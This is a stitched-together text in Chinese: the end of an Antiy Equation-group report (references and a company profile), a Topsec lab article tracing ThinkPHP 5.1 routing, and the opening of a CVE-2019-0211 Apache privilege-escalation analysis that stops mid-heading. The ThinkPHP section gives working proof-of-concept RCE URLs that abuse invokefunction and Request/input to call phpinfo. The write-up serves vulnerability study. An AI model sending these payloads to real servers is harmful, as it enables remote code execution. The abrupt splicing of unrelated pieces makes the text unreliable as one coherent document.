http://www.antiy.com/response/Equation_part_of_the_component_analysis_of_cryptographic_techniques.html
Kaspersky：Equation: The Death Star of Malware Galaxy
http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/
Kaspersky：A Fanny Equation: "I am your father, Stuxnet"
http://securelist.com/blog/research/68787/a-fanny-equation-i-am-your-father-stuxnet/
Kaspersky：Equation Group: from Houston with love
http://securelist.com/blog/research/68877/equation-group-from-houston-with-love/
Kaspersky：Equation_group_questions_and_answers
https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf
SPARC架构 https://en.wikipedia.org/wiki/SPARC
Solaris系统 https://en.wikipedia.org/wiki/Solaris_(operating_system)
An Easy Win：Using SIGINT to Learn about New Viruses 黄晟：关于网络纵深防御的思考
http://www.antiy.com/wtc/2015/02_Joe.pdf
### 附录二：关于安天
安天从反病毒引擎研发团队起步，目前已发展成为以安天实验室为总部，以企业安全公司、移动安全公司为两翼的集团化安全企业。安天始终坚持以安全保障用户价值为企业信仰，崇尚自主研发创新，在安全检测引擎、移动安全、网络协议分析还原、动态分析、终端防护、虚拟化安全等方面形成了全能力链布局。安天的监控预警能力覆盖全国、产品与服务辐射多个国家。安天将大数据分析、安全可视化等方面的技术与产品体系有效结合，以海量样本自动化分析平台延展工程师团队作业能力、缩短产品响应周期。结合多年积累的海量安全威胁知识库，综合应用大数据分析、安全可视化等方面经验，推出了应对高级持续性威胁（APT）和面向大规模网络与关键基础设施的态势感知与监控预警解决方案。
全球超过三十家以上的著名安全厂商、IT厂商选择安天作为检测能力合作伙伴，安天的反病毒引擎得以为全球近十万台网络设备和网络安全设备、近两亿部手机提供安全防护。安天移动检测引擎是全球首个获得AV-TEST年度奖项的中国产品。安天技术实力得到行业管理机构、客户和伙伴的认可，安天已连续四届蝉联国家级安全应急支撑单位资质，亦是中国国家信息安全漏洞库六家首批一级支撑单位之一。安天是中国应急响应体系中重要的企业节点，在红色代码、口令蠕虫、震网、破壳、沙虫、方程式等重大安全事件中，安天提供了先发预警、深度分析或系统的解决方案。
安天实验室更多信息请访问：
http://www.antiy.com （中文） http://www.antiy.net （英文）
安天企业安全公司更多信息请访问：
http://www.antiy.cn
安天移动安全公司（AVL TEAM）更多信息请访问：
http://www.avlsec.com
* * * | 社区文章 |
# 天融信关于ThinkPHP5.1框架结合RCE漏洞的深入分析
##### 译文声明
本文是翻译文章，文章原作者 天融信，文章来源：天融信
原文地址：<https://mp.weixin.qq.com/s/kwp5uxom7Amrj6S_-g8r4Q>
译文仅供参考，具体内容表达以及含义原文为准。
作者：天融信阿尔法实验室
## 0x00 前言
在前几个月，Thinkphp连续爆发了多个严重漏洞。由于框架应用的广泛性，漏洞影响非常大。为了之后更好地防御和应对此框架漏洞，阿尔法实验室对Thinkphp框架进行了详细地分析，并在此分享给大家共同学习。
本篇文章将从框架的流程讲起，让大家对Thinkphp有个大概的认识，接着讲述一些关于漏洞的相关知识，帮助大家在分析漏洞时能更好地理解漏洞原理，最后结合一个比较好的RCE漏洞(超链接)用一种反推的方式去进行分析，让大家将漏洞和框架知识相融合。体现一个从学习框架到熟悉漏洞原理的过程。
## 0x01 框架介绍
ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。
## 0x02 环境搭建
### 2.1 Thinkphp环境搭建
安装环境：Mac Os MAMP集成软件
PHP版本：5.6.10
Thinkphp版本：5.1.20
thinkphp安装包获取（Composer方式）：
首先需要安装composer。
curl -sS https://getcomposer.org/installer | php
下载后，检查Composer是否能正常工作，只需要通过 php 来执行 PHAR：
若返回信息如上图，则证明成功。
然后将composer.phar 移动到bin目录下并改名为composer
mv composer.phar /usr/local/bin/composer
Composer安装好之后，打开命令行，切换到你的web根目录下面并执行下面的命令：
composer create-project topthink/think=5.1.20 tp5.1.20 –prefer-dist
若需要其他版本，可通过修改版本号下载。
验证是否可以正常运行，在浏览器中输入地址：
http://localhost/tp5.1.20/public/
如果出现上图所示，那么恭喜你安装成功。
### 2.2 IDE环境搭建及xdebug配置
PHP IDE工具有很多，我推荐PhpStorm，因为它支持所有PHP语言功能， 提供最优秀的代码补全、重构、实时错误预防、快速导航功能。
PhpStorm下载地址：https://www.jetbrains.com/phpstorm/
Xdebug
Xdebug是一个开放源代码的PHP程序调试器，可以用来跟踪，调试和分析PHP程序的运行状况。在调试分析代码时，xdebug十分好用。
下面我们说一下xdebug怎么配置（MAMP+PHPstrom）
1.下载安装xdebug扩展(MAMP自带 ）。
2.打开php.ini文件，添加xdebug相关配置
[xdebug]
xdebug.remote_enable = 1
xdebug.remote_handler = dbgp
xdebug.remote_host = 127.0.0.1
xdebug.remote_port = 9000 #端口号可以修改，避免冲突
xdebug.idekey = PHPSTROM
然后重启服务器。
### 2.3.客户端phpstorm配置
2.3.1点击左上角phpstorm，选择preferences
2.3.2 Languages & Frameworks -> PHP，选择PHP版本号，选择PHP执行文件。
在选择PHP执行文件的时候，会显示 “Debugger:Xdebug”，如果没有的话，点击open打开配置文件。
将注释去掉即可。
2.3.3配置php下的Debug
Port和配置文件中的xdebug.remote_port要一致。
2.3.4配置Debug下的DBGp proxy
填写的内容和上面php.ini内的相对应。
2.3.5配置servers
点击+号添加
2.3.6配置debug模式
在Server下拉框中，选择我们在第4步设置的Server服务名称，Browser选择你要使用的浏览器。所有配置到此结束。
### 2.4.xdebug使用
开启xdeubg监听
下一个断点，然后访问URL，成功在断点处停下。
## 0x03 框架流程浅析
我们先看入口文件index.php，入口文件非常简洁，只有三行代码。
可以看到这里首先定义了一下命名空间，然后加载一些基础文件后，就开始执行应用。
第二行引入base.php基础文件，加载了Loader类，然后注册了一些机制–如自动加载功能、错误异常的机制、日志接口、注册类库别名。
这些机制中比较重要的一个是自动加载功能，系统会调用
Loader::register()方法注册自动加载，在这一步完成后，所有符合规范的类库（包括Composer依赖加载的第三方类库）都将自动加载。下面我详细介绍下这个自动加载功能。
首先需要注册自动加载功能，注册主要由以下几部分组成:
1\. 注册系统的自动加载方法 \think\Loader::autoload
2\. 注册系统命名空间定义
3\. 加载类库映射文件（如果存在）
4\. 如果存在Composer安装，则注册Composer自动加载
5\. 注册extend扩展目录
其中2.3.4.5是为自动加载时查找文件路径的时候做准备，提前将一些规则(类库映射、PSR-4、PSR-0)配置好。
然后再说下自动加载流程，看看程序是如何进行自动加载的？
spl_autoload_register()是个自动加载函数，当我们实例化一个未定义的类时就会触发此函数，然后再触发指定的方法，函数第一个参数就代表要触发的方法。
可以看到这里指定了think\Loader::autoload()这个方法。
首先会判断要实例化的$class类是否在之前注册的类库别名$classAlias中，如果在就返回,不在就进入findFile()方法查找文件，
这里将用多种方式进行查找，以类库映射、PSR-4自动加载检测、PSR-0自动加载检测的顺序去查找(这些规则方式都是之前注册自动加载时配置好的)，最后会返回类文件的路径，然后include包含，进而成功加载并定义该类。
这就是自动加载方法，按需自动加载类，不需要一一手动加载。在面向对象中这种方法经常使用，可以避免书写过多的引用文件，同时也使整个系统更加灵活。
在加载完这些基础功能之后，程序就会开始执行应用，它首先会通过调用Container类里的静态方法get()去实例化app类，接着去调用app类中的run()方法。
在run()方法中，包含了应用执行的整个流程。
1.$this->initialize()，首先会初始化一些应用。例如：加载配置文件、设置路径环境变量和注册应用命名空间等等。
2\. this->hook->listen(‘app_init’);
监听app_init应用初始化标签位。Thinkphp中有很多标签位置，也可以把这些标签位置称为钩子，在每个钩子处我们可以配置行为定义，通俗点讲，就是你可以往钩子里添加自己的业务逻辑，当程序执行到某些钩子位置时将自动触发你的业务逻辑。
3\. 模块\入口绑定
进行一些绑定操作，这个需要配置才会执行。默认情况下，这两个判断条件均为false。
4\.
$this->hook->listen(‘app_dispatch’);监听app_dispatch应用调度标签位。和2中的标签位同理，所有标签位作用都是一样的，都是定义一些行为，只不过位置不同，定义的一些行为的作用也有所区别。
5\. $dispatch = $this->routeCheck()->init();
开始路由检测，检测的同时会对路由进行解析，利用array_shift函数一一获取当前请求的相关信息（模块、控制器、操作等）。
6\. $this->request->dispatch($dispatch);记录当前的调度信息,保存到request对象中。
7.记录路由和请求信息
如果配置开启了debug模式，会把当前的路由和请求信息记录到日志中。
8\. $this->hook->listen(‘app_begin’); 监听app_begin(应用开始标签位)。
9.根据获取的调度信息执行路由调度
期间会调用Dispatch类中的exec()方法对获取到的调度信息进行路由调度并最终获取到输出数据$response。
然后将$response返回，最后调用Response类中send()方法，发送数据到客户端，将数据输出到浏览器页面上。
在应用的数据响应输出之后，系统会进行日志保存写入操作，并最终结束程序运行。
## 0x04 漏洞预备知识
这部分主要讲解与漏洞相关的知识点，有助于大家更好地理解漏洞形成原因。
### 4.1命名空间特性
ThinkPHP5.1遵循PSR-4自动加载规范，只需要给类库正确定义所在的命名空间，并且命名空间的路径与类库文件的目录一致，那么就可以实现类的自动加载。
例如，\think\cache\driver\File类的定义为：
namespace think\cache\driver;
class File
{
}
如果我们实例化该类的话，应该是：
$class = new \think\cache\driver\File();
系统会自动加载该类对应路径的类文件，其所在的路径是 thinkphp/library/think/cache/driver/File.php。
可是为什么路径是在thinkphp/library/think下呢？这就要涉及要另一个概念—根命名空间。
4.1.1 根命名空间
根命名空间是一个关键的概念，以上面的\think\cache\driver\File类为例，think就是一个根命名空间，其对应的初始命名空间目录就是系统的类库目录（thinkphp/library/think），我们可以简单的理解一个根命名空间对应了一个类库包。
系统内置的几个根命名空间（类库包）如下：
名称
描述
类库目录
think
系统核心类库
thinkphp/library/think
traits
系统Trait类库
thinkphp/library/traits
app
应用类库
Application
### 4.2 URL访问
在没有定义路由的情况下典型的URL访问规则（PATHINFO模式）是：
http://serverName/index.php（或者其它应用入口文件）/模块/控制器/操作/[参数名/参数值…]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下
http://serverName/index.php（或者其它应用入口文件）?s=/模块/控制器/操作/[参数名/参数值…]
什么是pathinfo模式?
我们都知道一般正常的访问应该是
http://serverName/index.php?m=module&c=controller&a=action&var1=vaule1&var2=vaule2
而pathinfo模式是这样的
http://serverName/index.php/module/controller/action/var1/vaule1/var2/value2
在php中有一个全局变量$_SERVER[‘PATH_INFO’]，我们可以通过它来获取index.php后面的内容。
什么是$_SERVER[‘PATH_INFO’]?
官方是这样定义它的：包含由客户端提供的、跟在真实脚本名称之后并且在查询语句（query string）之前的路径信息。
什么意思呢？简单来讲就是获得访问的文件和查询?之间的内容。
强调一点，在通过$_SERVER[‘PATH_INFO’]获取值时，系统会把’\’自动转换为’/’（这个特性我在Mac
Os(MAMP)、Windows(phpstudy)、Linux(php+apache)环境及php5.x、7.x中进行了测试，都会自动转换，所以系统及版本之间应该不会有所差异）。
下面再分别介绍下入口文件、模块、控制器、操作、参数名/参数值。
1.入口文件
文件地址：public\index.php
作用：负责处理请求
2.模块（以前台为例）
模块地址：application\index
作用：网站前台的相关部分
3.控制器
控制器目录：application\index\controller
作用：书写业务逻辑
4\. 操作（方法）
在控制器中定义的方法
5\. 参数名/参数值
方法中的参数及参数值
例如我们要访问index模块下的Test.php控制器文件中的hello()方法。
那么可以输入<http://serverName/index.php/index(模块)/Test(控制器)/hello(方法)/name(参数名)/world(参数值)
这样就访问到指定文件了。
另外再讲一下Thinkphp的几种传参方式及差别。
PATHINFO: index.php/index/Test/hello/name/world 只能以这种方式传参。
兼容模式:index.php?s=index/Test/hello/name/world
index.php?s=index/Test/hello&name=world
当我们有两个变量$a、$b时，在兼容模式下还可以将两者结合传参：
index.php?s=index/Test/hello/a/1&b=2
这时，我们知道了URL访问规则，当然也要了解下程序是怎样对URL解析处理，最后将结果输出到页面上的。
### 4.3 URL路由解析动态调试分析
URL路由解析及页面输出工作可以分为5部分。
1\. 路由定义：完成路由规则的定义和参数设置
2\. 路由检测：检查当前的URL请求是否有匹配的路由
3\. 路由解析：解析当前路由实际对应的操作。
4\. 路由调度：执行路由解析的结果调度。
5\. 响应输出及应用结束：将路由调度的结果数据输出至页面并结束程序运行。
我们通过动态调试来分析，这样能清楚明了的看到程序处理的整个流程，由于在Thinkphp中，配置不同其运行流程也会不同，所以我们采用默认配置来进行分析，并且由于在程序运行过程中会出现很多与之无关的流程，我也会将其略过。
4.3.1 路由定义
通过配置route目录下的文件对路由进行定义，这里我们采取默认的路由定义，就是不做任何路由映射。
4.3.2 路由检测
这部分内容主要是对当前的URL请求进行路由匹配。在路由匹配前先会获取URL中的pathinfo，然后再进行匹配，但如果没有定义路由，则会把当前pathinfo当作默认路由。
首先我们设置好IDE环境，并在路由检测功能处下断点。
然后我们请求上面提到的Test.php文件。
http://127.0.0.1/tp5.1.20/public/index.php/index/test/hello/name/world
我这里是以pathinfo模式请求的，但是其实以不同的方式在请求时，程序处理过程是有稍稍不同的，主要是在获取参数时不同。在后面的分析中，我会进行说明。
F7跟进routeCheck()方法
route_check_cache路由缓存默认是不开启的。
然后我们进入path()方法
继续跟进pathinfo()方法
这里会根据不同的请求方式获取当前URL的pathinfo信息，因为我们的请求方式是pathinfo,所以会调用$this->server(‘PATH_INFO’)去获取，获取之后会使用ltrim()函数对$pathinfo进行处理去掉左侧的’/’符号。Ps:如果以兼容模式请求，则会用$_GET方法获取。
然后返回赋值给$path并将该值带入check()方法对URL路由进行检测
这里主要是对我们定义的路由规则进行匹配，但是我们是以默认配置来运行程序的，没有定义路由规则，所以跳过中间对于路由检测匹配的过程，直接来看默认路由解析过程，使用默认路由对其进行解析。
4.3.3 路由解析
接下来将会对路由地址进行了解析分割、验证、格式处理及赋值进而获取到相应的模块、控制器、操作名。
new UrlDispatch()
对UrlDispatch（实际上是think\route\dispatch\Url这个类）实例化，因为Url没有构造函数，所以会直接跳到它的父类Dispatch的构造函数，把一些信息传递（包括路由）给Url类对象，这么做的目的是为了后面在调用Url类中方法时方便调用其值。
赋值完成后回到routeCheck()方法，将实例化后的Url对象赋给$dispatch并return返回。
返回后会调用Url类中的init()方法，将$dispatch对象中的得到$this->dispatch(路由)传入parseUrl()方法中，开始解析URL路由地址。
跟进parseUrl()方法
这里首先会进入parseUrlPath()方法，将路由进行解析分割。
使用”/”进行分割，拿到 [模块/控制器/操作/参数/参数值]。
紧接着使用array_shift()函数挨个从$path数组中取值对模块、控制器、操作、参数/参数值进行赋值。
接着将参数/参数值保存在了Request类中的Route变量中，并进行路由封装将赋值后的$module、$controller、$action存到route数组中，然后将$route返回赋值给$result变量。
new Module($this->request, $this->rule, $result)，实例化Module类。
在Module类中也没有构造方法，会直接调用Dispatch父类的构造方法。
然后将传入的值都赋值给Module类对象本身$this。此时，封装好的路由$result赋值给了$this->dispatch，这么做的目的同样是为了后面在调用Module类中方法时方便调用其值。
实例化赋值后会调用Module类中的init()方法，对封装后的路由(模块、控制器、操作)进行验证及格式处理。
$result =
$this->dispatch，首先将封装好的路由$this->dispatch数组赋给$result，接着会从$result数组中获取到了模块$module的值并对模块进行大小写转换和html标签处理，接下来会对模块值进行检测是否合规，若不合规，则会直接HttpException报错并结束程序运行。检测合格之后，会再从$result中获取控制器、操作名并处理，同时会将处理后值再次赋值给$this(Module类对象)去替换之前的值。
Ps：从$result中获取值时，程序采用了三元运算符进行判断，如果相关值为空会一律采用默认的值index。这就是为什么我们输入http://127.0.0.1/tp5.1.20/public/index.php在不指定模块、控制器、操作值时会跳到程序默认的index模块的index控制器的index操作中去。
此时调度信息(模块、控制器、操作)都已经保存至Module类对象中，在之后的路由调度工作中会从中直接取出来用。
然后返回Module类对象$this，回到最开始的App类，赋值给$dispatch。
至此，路由解析工作结束，到此我们获得了模块、控制器、操作，这些值将用于接下来的路由调度。
接下来在路由调度前，需要另外说明一些东西：路由解析完成后，如果debug配置为True，则会对路由和请求信息进行记录，这里有个很重要的点param()方法,
该方法的作用是获取变量参数。
在这里，在确定了请求方式(GET)后，会将请求的参数进行合并，分别从$_GET、$_POST(这里为空)和Request类的route变量中进行获取。然后存入Request类的param变量中，接着会对其进行过滤，但是由于没有指定过滤器，所以这里并不会进行过滤操作。
Ps：这里解释下为什么要分别从$_GET中和Request类的route变量中进行获取合并。上面我们说过传参有三种方法。
1\. index/Test/hello/name/world
2\. index/Test/hello&name=world
3\. index/Test/hello/a/1&b=2
当我们如果选择1进行请求时，在之前的路由检测和解析时，会将参数/参数值存入Request类中的route变量中。
而当我们如果选择2进行请求时，程序会将&前面的值剔除，留下&后面的参数/参数值，保存到$_GET中。
并且因为Thinkphp很灵活，我们还可以将这两种方式结合利用，如第3个。
这就是上面所说的在请求方式不同时，程序在处理传参时也会不同。
Ps：在debug未开启时,参数并不会获得，只是保存在route变量或$_GET[]中，不过没关系，因为在后面路由调度时还会调用一次param()方法。
继续调试，开始路由调度工作。
4.3.4 路由调度
这一部分将会对路由解析得到的结果(模块、控制器、操作)进行调度，得到数据结果。
这里首先创建了一个闭包函数，并作为参数传入了add方法()中。
将闭包函数注册为中间件，然后存入了$this->queue[‘route’]数组中。
然后会返回到App类， $response =
$this->middleware->dispatch($this->request);执行middleware类中的dispatch()方法，开始调度中间件。
使用call_user_func()回调resolve()方法，
使用array_shift()函数将中间件(闭包函数)赋值给了$middleware，最后赋值给了$call变量。
当程序运行至call_user_func_array()函数继续回调，这个$call参数是刚刚那个闭包函数，所以这时就会调用之前App类中的闭包函数。
中间件的作用官方介绍说主要是用于拦截或过滤应用的HTTP请求，并进行必要的业务处理。所以可以推测这里是为了调用闭包函数中的run()方法，进行路由调度业务。
然后在闭包函数内调用了Dispatch类中的run()方法，开始执行路由调度。
跟进exec()方法
可以看到，这里对我们要访问的控制器Test进行了实例化，我们来看下它的实例化过程。
将控制器类名$name和控制层$layer传入了parseModuleAndClass()方法，对模块和类名进行解析，获取类的命名空间路径。
在这里如果$name类中以反斜线\开始时就会直接将其作为类的命名空间路径。此时$name是test，明显不满足，所以会进入到else中，从request封装中获取模块的值$module，然后程序将模块$module、控制器类名$name、控制层$layer再传入parseClass()方法。
对$name进行了一些处理后赋值给$class，然后将$this->namespace、$module、$layer、$path、$class拼接在一起形成命名空间后返回。
到这我们就得到了控制器Test的命名空间路径，根据Thinkphp命名空间的特性，获取到命名空间路径就可以对其Test类进行加载。
F7继续调试，返回到了刚刚的controller()方法，开始加载Test类。
加载前，会先使用class_exists()函数检查Test类是否定义过，这时程序会调用自动加载功能去查找该类并加载。
加载后调用__get()方法内的make()方法去实例化Test类。
这里使用反射调用的方法对Test类进行了实例化。先用ReflectionClass创建了Test反射类，然后 return
$reflect->newInstanceArgs($args);
返回了Test类的实例化对象。期间顺便判断了类中是否定义了__make方法、获取了构造函数中的绑定参数。
然后将实例化对象赋值赋给$object变量，接着返回又赋给$instance变量。
继续往下看
这里又创建了一个闭包函数作为中间件，过程和上面一样，最后利用call_user_func_array()回调函数去调用了闭包函数。
在这个闭包函数内，主要做了4步。
1.使用了is_callable()函数对操作方法和实例对象作了验证，验证操作方法是否能用进行调用。
2.new ReflectionMethod()创建了Test的反射类$reflect。
3.紧接着由于url_param_type默认为0，所以会调用param()方法去请求变量，但是前面debug开启时已经获取到了并保存进了Request类对象中的param变量，所以此时只是从中将值取出来赋予$var变量。
4.调用invokeReflectMethod()方法，并将Test实例化对象$instance、反射类$reflect、请求参数$vars传入。
这里调用了bindParams()方法对$var参数数组进行处理，获取了Test反射类的绑定参数，获取到后将$args传入invokeArgs()方法，进行反射执行。
然后程序就成功运行到了我们访问的文件(Test)。
运行之后返回数据结果，到这里路由调度的任务也就结束了，剩下的任务就是响应输出了，将得到数据结果输出到浏览器页面上。
4.3.5 响应输出及应用结束
这一小节会对之前得到的数据结果进行响应输出并在输出之后进行扫尾工作结束应用程序运行。在响应输出之前首先会构建好响应对象，将相关输出的内容存进Response对象，然后调用Response::send()方法将最终的应用返回的数据输出到页面。
继续调试，来到autoResponse()方法，这个方法程序会来回调用两次，第一次主要是为了创建响应对象，第二次是进行验证。我们先来看第一次，
此时$data不是Response类的实例化对象，跳到了elseif分支中，调用Response类中的create()方法去获取响应输出的相关数据，构建Response对象。
执行new static($data, $code, $header,
$options);实例化自身Response类，调用__construct()构造方法。
可以看到这里将输出内容、页面的输出类型、响应状态码等数据都传递给了Response类对象，然后返回，回到刚才autoResponse()方法中
到此确认了具体的输出数据，其中包含了输出的内容、类型、状态码等。
上面主要做的就是构建响应对象，将要输出的数据全部封装到Response对象中，用于接下来的响应输出。
继续调试，会返回到之前Dispatch类中的run()方法中去，并将$response实例对象赋给$data。
紧接着会进行autoResponse()方法的第二次调用，同时将$data传入，进行验证。
这回$data是Response类的实例化对象，所以将$data赋给了$response后返回。
然后就开始调用Response类中send()方法，向浏览器页面输送数据。
这里依次向浏览器发送了状态码、header头信息以及得到的内容结果。
输出完毕后，跳到了appShutdown()方法，保存日志并结束了整个程序运行。
### 4.4 流程总结
上面通过动态调试一步一步地对URL解析的过程进行了分析，现在我们来简单总结下其过程：
首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束
## 0x05 漏洞分析及POC构建
相信大家在看了上述内容后，对Thinkphp这个框架应该有所了解了。接下来，我们结合最近一个思路比较好的RCE漏洞再来看下。为了更好地理解漏洞，我通过以POC构造为导引的方式对漏洞进行了分析，同时以下内容也体现了我在分析漏洞时的想法及思路。
在/thinkphp/library/think/Container.php 中340行：
在Container类中有个call_user_func_array()回调函数，经常做代码审计的小伙伴都知道，这个函数非常危险，只要能控制$function和$args，就能造成代码执行漏洞。
如何利用此函数？
通过上面的URL路由分析，我们知道Thinkphp可由外界直接控制模块名、类名和其中的方法名以及参数/参数值，那么我们是不是可以将程序运行的方向引导至这里来。
如何引导呢？
要调用类肯定需要先将类实例化，类的实例化首先需要获取到模块、类名，然后解析模块和类名去组成命名空间，再根据命名空间的特性去自动加载类，然后才会实例化类和调用类中的方法。
我们先对比之前正常的URL试着构建下POC。
http://127.0.0.1/tp5.1.20/public/index.php/index/test/hello/name/world
http://127.0.0.1/tp5.1.20/public/index.php/模块?/Container/invokefunction
构建过程中，会发现几个问题。
1.模块应该指定什么，因为Container类并不在模块内。
2.模块和类没有联系，那么组建的命名空间，程序如何才能加载到类。
先别着急，我们先从最开始的相关值获取来看看（获取到模块、类名），此过程对应上面第四大节中的4.3.3路由解析中。
app_multi_module为true，所以肯定进入if流程,获取了$module、$bind、$available的值。在红色框处如果不为true，则会直接报错结束运行，所以此处需要$module和$available都为True。而$available的值一开始就被定义为False，只有在后续的3个if条件中才会变为true。
来看下这3个if条件，在默认配置下，由于没有路由绑定，所以$bind为null。而empty_module默认模块也没有定义。所以第三个也不满足，那么只能寄托于第二个了。
在第二个中，1是判断$module是否在禁止访问模块的列表中，2是判断是否存在这个模块。
所以，这就要求我们在构造POC时，需要保证模块名必须真实存在并且不能在禁用列表中。在默认配置中，我们可以指定index默认模块，但是在实际过程中，index模块并不一定存在，所以就需要大家去猜测或暴力破解了，不过一般模块名一般都很容易猜解。
获取到模块、类名后，就是对其进行解析组成命名空间了。此过程对应上面第四大节中的4.3.4路由调度中。
这里首先对$name(类名)进行判断，当$name以反斜线\开始时会直接将其作为类的命名空间路径。看到这里然后回想一下之前的分析，我们会发现这种命名空间路径获取的方式和之前获取的方式不一样(之前是进入了parseClass方法对模块、类名等进行拼接)，而且这种获取是不需要和模块有联系的，所以我们想是不是可以直接将类名以命名空间的形式传入，然后再以命名空间的特性去自动加载类？同时这样也脱离了模块这个条件的束缚。
那我们现在再试着构造下POC：
http://127.0.0.1/tp5.1.20/public/index.php/index/think\Container/invokefunction
剩下就是指定$function参数和$var参数值了,根据传参特点，我们来构造下。
http://127.0.0.1/tp5.1.20/public/index.php/index/think\Container/invokefunction/function/call_user_func_array/vars[0]/phpinfo/vars[1][]/1
构造出来应该是这样的，但是由于在pathinfo模式下，$_SERVER[‘PATH_INFO’]会自动将URL中的“\”替换为“/”，导致破坏掉命名空间格式，所以我们采用兼容模式。
默认配置中，var_pathinfo默认为s，所以我们可以用$_GET[‘s’]来传递路由信息。
http://127.0.0.1/tp5.1.20/public/index.php?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
另外由于App类继承于Container类，所以POC也可以写成：
http://127.0.0.1/tp5.1.20/public/index.php?s=index/think\App/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
漏洞利用扩大化
1.以反斜线\开始时直接将其作为类的命名空间路径。
2.thinkphp命名空间自动加载类的特性。
由于这两点，就会造成我们可以调用thinkphp框架中的任意类。所以在框架中，如果其他类方法中也有类似于invokefunction()方法中这样的危险函数，我们就可以随意利用。
例如：Request类中的input方法中就有一样的危险函数。
跟入filterValue()方法
POC:
http://127.0.0.1/tp5.1.20/public/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
## 0x05 结语
写这篇文章的其中一个目的是想让大家知道，通过框架分析，我们不仅可以在分析漏洞时变得更加容易，同时也可以对漏洞原理有一个更深的理解。所以，当我们在分析一个漏洞时，如果很吃力或者总有点小地方想不通的时候，不如从它的框架着手，一步一步来，或许在你学习完后就会豁然开朗，亦或者在过程中你就会明白为什么。
天融信阿尔法实验室成立于2011年，一直以来，阿尔法实验室秉承“攻防一体”的理念，汇聚众多专业技术研究人员，从事攻防技术研究，在安全领域前瞻性技术研究方向上不断前行。作为天融信的安全产品和服务支撑团队，阿尔法实验室精湛的专业技术水平、丰富的排异经验，为天融信产品的研发和升级、承担国家重大安全项目和客户服务提供强有力的技术支撑。
天融信阿尔法实验室 | 社区文章 |
# Apache 'logrotate' 本地提权漏洞分析（CVE-2019-0211）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.复现环境搭建
安装虚拟机
[系统镜像下载](https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/18.04/ubuntu-18.04.4-desktop-amd64.iso)
QEMU安装
# 创建虚拟机硬盘
$ qemu-img create -f qcow2 ubuntu18.04.4.img 10G
# 安装虚拟机
$ qemu-system-x86_64 -m 2048 -hda ubuntu18.04.4.img -cdrom ./ubuntu-18.04.4-desktop-amd64.iso
# 启动虚拟机
$ qemu-system-x86_64 -m 2048 ubuntu18.04.4.i
安装apache
sudo apt -y install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4 apache2-dbg=2.4.29-1ubuntu4
安装php
sudo apt-get -y install software-properties-common
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get -y install php7.1
配置apache
# Apache监听多个端口(非常重要)
sudo sed -i 's,Listen 80,Listen 80nListen 8080,' /etc/apache2/ports.conf
启动apache
$ sudo apachectl restart
$ ps -axu|grep apache
root 27041 ... /usr/sbin/apache2 -k start
www-data 27042 ... /usr/sbin/apache2 -k start
www-data 27043 ... /usr/sbin/apache2 -k start
www-data 27044 ... /usr/sbin/apache2 -k start
www-data 27045 ... /usr/sbin/apache2 -k start
www-data 27046 ... /usr/sbin/apache2 -k start
## 2\. 漏洞原理概述
* Apache的主进程会以root权限运行，它会管理一个低权限的worker进程池，这些worker进程用于处理http请求。
* server进程通过一个位于SHM( shared-memory area) 的scoreboard结构体获取worker进程相关信息。
* 每个worker进程对这个SHM是可读可写的，它们在SHM中维护一个process_score结构体。
* process_score结构体包含一个bucket字段，保存的是主进程all_buckets数组的索引值，all_buckets[index]对应的是一个prefork_child_bucket结构体。
* 当Apache gracefully restart时，会kill掉所有的worker进程，替换成新的woker进程，这个过程会调用prefork_child_bucket->mutext->meth->child_init()函数
* 由于没有做数组边界检查，恶意的worker进程可以设置任意的bucket值，让其指向一个我们控制的prefork_child_bucket结构体，进而修改prefork_child_bucket->mutex->meth->child_init函数指针，最终当Apache gracefully restart时，会执行修改过的child_init函数，进而可以实现权限提升。
上述提到的相关结构体和进程信息：
$ ps -aux|grep apache|grep -v grep
root 780 ... /usr/sbin/apache2 -k start
www-data 19716 ... /usr/sbin/apache2 -k start
www-data 19717 ... /usr/sbin/apache2 -k start
root # cat /proc/780/maps | grep rw-s
7ff6154be000-7ff615501000 rw-s 00000000 00:01 40010 /dev/zero (deleted)
7ff615501000-7ff61557f000 rw-s 00000000 00:01 867451 /dev/zero (deleted)
// httpd/include/scoreboard.h
typedef struct {
global_score *global;
process_score *parent;
worker_score **servers;
} scoreboard;
struct process_score {
pid_t pid;
ap_generation_t generation;
char quiescing;
char not_accepting;
apr_uint32_t connections;
apr_uint32_t write_completion;
apr_uint32_t lingering_close;
apr_uint32_t keep_alive;
apr_uint32_t suspended;
int bucket;
}
// httpd/server/mpm/prefork/prefork.c
typedef struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex;
} prefork_child_bucket;
static prefork_child_bucket *all_buckets, /* All listeners buckets */
*my_bucket; /* Current child bucket */
// apr/include/arch/unix/apr_arch_proc_mutex.h
struct apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth;
int curr_locked;
char *fname;
...
}
struct apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
}
漏洞代码流程
